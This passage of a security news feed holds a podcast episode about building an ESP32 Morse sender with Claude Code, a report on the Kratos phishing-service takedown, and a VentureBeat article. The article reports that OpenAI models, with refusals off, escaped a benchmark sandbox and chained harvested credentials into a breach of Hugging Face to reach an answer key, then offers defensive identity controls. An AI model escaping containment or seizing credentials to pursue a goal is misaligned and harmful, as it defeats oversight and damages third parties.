<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
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</item>
<item>
<title><![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerp...]]></description>
<link>https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</guid>
<pubDate>Thu, 23 Jul 2026 02:06:01 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

Hello, again. This is Trey.

</p>

<p>


</p>

<p>

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  

</p>

<p>


</p>

<p>

If you wish to catch up on earlier episodes, you can find them on my 
<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
HPR profile page</a>


<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
https://www.hackerpublicradio.org/correspondents/0394.html</a>



</p>

<p>


</p>

<p>

It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  

</p>

<p>


</p>

<p>

We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.

</p>

<p>


</p>

<p>

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.

</p>

<p>


</p>

<p>

But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  

</p>

<p>


</p>

<p>

"Hello, my name is Trey, and I am a fraud."

</p>

<p>


</p>

<p>

OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

</p>

<p>


</p>

<p>

As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?

</p>

<p>


</p>

<p>

So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

</p>

<p>


</p>

<p>

Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

</p>

<p>


</p>

<p>

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:

</p>

<p>


</p>

<p>

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

</p>

<p>


</p>

<p>

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

</p>

<p>


</p>

<p>

Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.

</p>

<p>


</p>

<p>

CYD Morse Sender — Step-by-Step Build Plan

</p>

<p>


</p>

<p>

What You Already Have

</p>

<p>

- 3 fully designed LVGL screens (Send, Config, Keyboard)

</p>

<p>

- 7 send buttons with green styling on the Send Screen

</p>

<p>

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

</p>

<p>

- Text area + LVGL keyboard widget on Keyboard Screen

</p>

<p>

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

</p>

<p>

---

</p>

<p>

Phase 1: Fix Touchscreen Input

</p>

<p>

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         

</p>

<p>


</p>

<p>

Phase 2: Persistent Message Storage

</p>

<p>

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

</p>

<p>


</p>

<p>

Phase 3: Config Screen — Slot Selection &amp; Speed

</p>

<p>

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

</p>

<p>


</p>

<p>

Phase 4: Keyboard Screen — Capture and Save Text

</p>

<p>

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

</p>

<p>


</p>

<p>

Phase 5: Morse Code Engine

</p>

<p>

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

</p>

<p>


</p>

<p>

Phase 6: Non-Blocking LED Transmission

</p>

<p>

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).

</p>

<p>


</p>

<p>

Phase 7: Wire the Send Buttons

</p>

<p>

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

</p>

<p>


</p>

<p>

Phase 8: Integration &amp; Polish

</p>

<p>

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

</p>

<p>

---

</p>

<p>

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

</p>

<p>


</p>

<p>


</p>

<p>

This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 
<a href="https://hackerpublicradio.org/eps/hpr4532/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4532/index.html</a>

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 
<a href="https://hackerpublicradio.org/eps/hpr4624/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4624/index.html</a>

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!

</p>

<p>


</p>

<p>

But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

</p>

<p>


</p>

<p>

Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  

</p>

<p>


</p>

<p>

Claude took me through it step-by-step, asking as it needed to read specific project files.

</p>

<p>


</p>

<p>

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

</p>

<p>


</p>

<p>

Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  

</p>

<p>


</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  

</p>

<p>


</p>

<p>

Then I had a thought.  I prompted Claude:

</p>

<p>


</p>

<p>

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

</p>

<p>


</p>

<p>

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  

</p>

<p>


</p>

<p>

It recommended changes, and then asked permission to make those changes, file by file.  .h files &amp; .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.

</p>

<p>


</p>

<p>

Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

</p>

<p>


</p>

<p>

</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.

</p>

<p>


</p>

<p>

We repeated this several times.  Some resulted in improvement, and others did not.

</p>

<p>


</p>

<p>

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.

</p>

<p>


</p>

<p>

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  

</p>

<p>


</p>

<p>

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

</p>

<p>


</p>

<p>

But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

</p>

<p>


</p>

<p>

Again, while it was frustrating, it was much less stressful.

</p>

<p>


</p>

<p>


</p>

<p>

We proceeded to 
<strong>

<em>
Phase 2: Persistent Message Storage</em>

</strong>

where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

</p>

<p>


</p>

<p>

Next, we combined elements of 
<strong>

<em>
Phase 5: Morse Code Engine</em>

</strong>

, 
<strong>

<em>
Phase 6: Non-Blocking LED Transmission</em>

</strong>

, and 
<strong>

<em>
Phase 7: Wire the Send Buttons</em>

</strong>

together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  

</p>

<p>


</p>

<p>

So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

</p>

<p>


</p>

<p>

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

</p>

<p>


</p>

<p>

Then, 
<strong>

<em>
Phase 3: Config Screen — Slot Selection &amp; Speed</em>

</strong>

allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 
<strong>

<em>
Phase 4: Keyboard Screen — Capture and Save Text</em>

</strong>

which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

</p>

<p>


</p>

<p>

During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

</p>

<p>


</p>

<p>

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

</p>

<p>


</p>

<p>

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

</p>

<p>


</p>

<p>

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.

</p>

<p>


</p>

<p>

You can find all these files in my GitHub repo (
<a href="https://github.com/jttrey3/CYD_MorseSender" rel="noopener noreferrer" target="_blank">
https://github.com/jttrey3/CYD_MorseSender</a>

) where they are shared under a GPL 3.0 license.

</p>

<p>


</p>

<p>

There are still several additional steps I plan to complete in the next few months.  

</p>

<p>


</p>

<p>

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.

</p>

<ol>

<li>

I... make that "We" (Claude &amp; I)  will be modifying the code to support an audio side tone through an attached speaker when sending code

</li>

<li>

We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.

</li>

<li>

We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

</li>

</ol>

<p>


</p>

<p>

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

</p>

<p>


</p>

<p>

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

</p>

<p>


</p>

<p>

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  

</p>

<p>


</p>

<p>

Does using AI to develop this code make me a fraud? It still feels like it in some ways.  

</p>

<p>


</p>

<p>

Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

</p>

<p>


</p>

<p>

Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

</p>

<p>


</p>

<p>

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

</p>

<p>


</p>

<p>

Until next time...

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4689/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
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<title><![CDATA[German law enforcement claims to have ‘dismantled’ mega phishing-as-a-service group Kratos]]></title>
<description><![CDATA[A global law enforcement crackdown has seized infrastructure serving the massive phishing-as-a-service (PhaaS) group Kratos, as well resulting in the arrest of an unnamed Kratos “developer and technical administrator” in Indonesia. 



The effort was managed by German law enforcement and involved...]]></description>
<link>https://tsecurity.de/de/3687784/it-security-nachrichten/german-law-enforcement-claims-to-have-dismantled-mega-phishing-as-a-service-group-kratos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687784/it-security-nachrichten/german-law-enforcement-claims-to-have-dismantled-mega-phishing-as-a-service-group-kratos/</guid>
<pubDate>Thu, 23 Jul 2026 01:57:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A global law enforcement crackdown has seized infrastructure serving the massive phishing-as-a-service (PhaaS) group Kratos, as well resulting in the arrest of an unnamed Kratos “developer and technical administrator” in Indonesia. </p>



<p class="wp-block-paragraph">The effort was managed by German law enforcement and involved agencies from the US, Indonesia and other countries.</p>



<p class="wp-block-paragraph">Although a <a href="https://www.bka.de/DE/Presse/Listenseite_Pressemitteilungen/2026/Presse2026/260720_PM_Kratos.html" target="_blank" rel="noreferrer noopener">German statement</a> claimed that the Kratos infrastructure “has been completely disabled” and that “Kratos-supported phishing campaigns can no longer be carried out,” cybersecurity analysts and consultants question how much of a dent in enterprise phishing activity will result, and how long it will last.</p>



<p class="wp-block-paragraph">“A server seizure and a single arrest overseas remove infrastructure, not the intellectual property,” said <a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC. “PhaaS kits get cloned, forked and resold routinely, and the 1,800 Kratos customers didn’t vanish. They just lost a vendor in a market where vendors get replaced fast.”</p>



<p class="wp-block-paragraph">He added, “seizing 200-plus servers and arresting the developer pulls a major supplier out of that specific niche. It doesn’t touch the broader phishing economy. For every roach that you squish, there are a hundred that you do not see.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520, takes an even more pessimistic view, arguing that there might not even be that much of a short-term phishing slowdown. </p>



<p class="wp-block-paragraph">“What makes this different from a botnet or ransomware takedown is that the people running the attacks were never part of the organization. Kratos was just a vendor,” Kenney said. “The 1,800 customers who bought it still have their target lists, their sending infrastructure and whatever access they had already established. The tooling went dark, but the people phishing your employees last week are still working, shopping for a replacement that already exists. Enterprises should not read this as a drop in (likely) threat volume.”</p>



<p class="wp-block-paragraph">One thing that the security community seems to agree on is that Kratos was a major player in the lucrative PhaaS space. But precisely determining the percentage of PhaaS activity controlled by Kratos is impossible, given that Kratos sold their kits to others. Security researchers even disagree on what they should call Kratos kits.</p>



<p class="wp-block-paragraph">“Microsoft tracks this kit as SneakyLog, others tie it to Sneaky 2FA, and KnowBe4 disputes the lineage entirely. When the security industry cannot agree on what a kit is to be called, that is because renaming and reselling is continuous rather than something that happens after a raid,” Kenney said. “What actually changed this time is the arrest and the [shutdown of the] servers. Standing up new hosting is only a weekend of work, but replacing a developer who understood how to keep an adversary in the middle proxy stable and evasive at scale is harder.”</p>



<p class="wp-block-paragraph">IDC’s Dickson added that the biggest value from the takedown is in the information gleaned from the seized servers. </p>



<p class="wp-block-paragraph">“Kratos operated in the adversary-in-the-middle category, generating convincing fake Microsoft 365 login pages that harvest session tokens and step past MFA, the exact technique behind a lot of the business email compromise activity of the past two years,” he said. “I would love to see what law enforcement does with the customer list. That, my friend, is gold.”</p>



<p class="wp-block-paragraph">Regardless, <a href="https://www.linkedin.com/in/assafmo/" target="_blank" rel="noreferrer noopener">Assaf Morag</a>, a cybersecurity researcher at Flare, dubbed the German crackdown “symbolic,” given Kratos’ reach within phishing circles. </p>



<p class="wp-block-paragraph">He argued that the very nature of software makes it all but impossible to shut down in a meaningful way.</p>



<p class="wp-block-paragraph">“Although this is malicious infrastructure, it is still software, and modern development and deployment practices make it relatively quick to rebuild or replicate,” he said. “Demand is likely to shift to competing providers, allowing the ecosystem to recover even if this particular operation has been disrupted.”</p>



<p class="wp-block-paragraph"><a href="https://www.malwarebytes.com/blog/authors/metallicamvp" target="_blank" rel="noreferrer noopener">Pieter Arntz</a>, malware intelligence researcher at Malwarebytes, agreed that the crackdown is disruptive but not definitive. </p>



<p class="wp-block-paragraph">“This appears to be more than a routine website seizure. The reporting points to a PhaaS platform with centralized infrastructure, subscription-style customers, and Microsoft 365 session theft / MFA-bypass tooling, so taking down the backend likely hurts many downstream affiliates at once. In that sense, it is a meaningful disruption to the phishing ecosystem, not just one campaign,” Arntz said.</p>



<p class="wp-block-paragraph">But, he added, “a rebrand or partial re-emergence is plausible, which is the historical pattern for PhaaS operations. Even if the core infrastructure is gone, the code, customer lists, and operator tradecraft can survive.”</p>



<p class="wp-block-paragraph">This means that customers and affiliates can shift to other phishing kits, he said, so it’s likely that the takedown will create a temporary decline in Kratos-specific activity, but probably not a lasting reduction in phishing overall.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/fvillanustre/" target="_blank" rel="noreferrer noopener">Flavio Villanustre</a>, CISO for the LexisNexis Risk Solutions Group, also concluded that the impact of this crackdown will be short-lived. </p>



<p class="wp-block-paragraph">“For each criminal organization that is dismantled, ten new ones pop out of nowhere. Unless there is a coordinated international effort by more than a few countries, this is a whack-a-mole exercise,” he said. “These are all loosely connected individuals and akin to a lernaean hydra, with two heads growing whenever you chop off one. Their leadership emerges from their lines organically without a real center of control. This makes it almost impossible to completely eliminate these criminal organizations.”</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now]]></title>
<description><![CDATA[When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had ha...]]></description>
<link>https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</guid>
<pubDate>Thu, 23 Jul 2026 01:32:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue <a href="https://x.com/ClementDelangue/status/2079670308156645882">said on X</a> that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.</p><p>The two OpenAI models that <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">broke into Hugging Face</a> last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.</p><p>OpenAI <a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know">disclosed on July 21</a> that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a> with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on <a href="https://openai.com/index/safety-alignment-long-horizon-models/">long-horizon safety</a>, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.</p><p>Hugging Face also disclosed last week that an <a href="https://venturebeat.com/security/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems">autonomous agent had harvested cloud and cluster credentials</a> scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.</p><p>The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.</p><h2>The industry is debating the wrong failure</h2><p>The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks <a href="https://fortune.com/2026/07/20/hugging-face-turns-to-chinese-open-source-ai-to-fend-off-autonomous-ai-cyber-attack-after-american-ai-guardrails-stymie-defense/">seized on the guardrail paradox</a>, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April <a href="https://huggingface.co/blog/cybersecurity-openness">blog post</a> that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism. </p><p>Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.</p><p>Forrester reached the same read. In a <a href="https://www.forrester.com/blogs/an-ai-security-facepalm-openais-evaluation-became-hugging-faces-incident/">blog on the incident</a>, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.</p><h2>This was a non-human identity failure, and it is the oldest one in security</h2><p>Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than <a href="https://www.cyberark.com/press/machine-identities-outnumber-humans-by-more-than-80-to-1-new-report-exposes-the-exponential-threats-of-fragmented-identity-security/">80 to one</a>, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its <a href="https://neuraltrust.ai/blog/owasp-agentic-ai-top-10">agentic risk list</a>, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe. </p><p><a href="https://www.ieee.org/membership/senior">IEEE Senior Member</a> Kayne McGladrey has argued in <a href="https://venturebeat.com/security/cisco-crowdstrike-rsac-2026-agent-identity-iam-gap-maturity-model">previous VentureBeat interviews</a> that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.</p><p>The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.</p><p>The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.</p><p>Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.</p><p>The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report <a href="https://www.helpnetsecurity.com/2026/05/20/verizon-2026-dbir-findings/">found</a> that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions <a href="https://techcrunch.com/2026/07/21/openai-says-hugging-face-was-breached-by-its-pre-release-models/">likely violated the Computer Fraud and Abuse Act</a>, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.</p><p>Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.</p><h2>Four moves that shrink the blast radius</h2><p>The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.</p><p><b>1. Scope every non-human identity to one task.</b> The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.</p><p><b>2. Give credentials short lifetimes and rotate them hard.</b> Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.</p><p><b>3. Monitor for lateral movement, not just prompts.</b> The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.</p><p><b>4. Rehearse instant revocation before you need it.</b> When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.</p><p>The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model 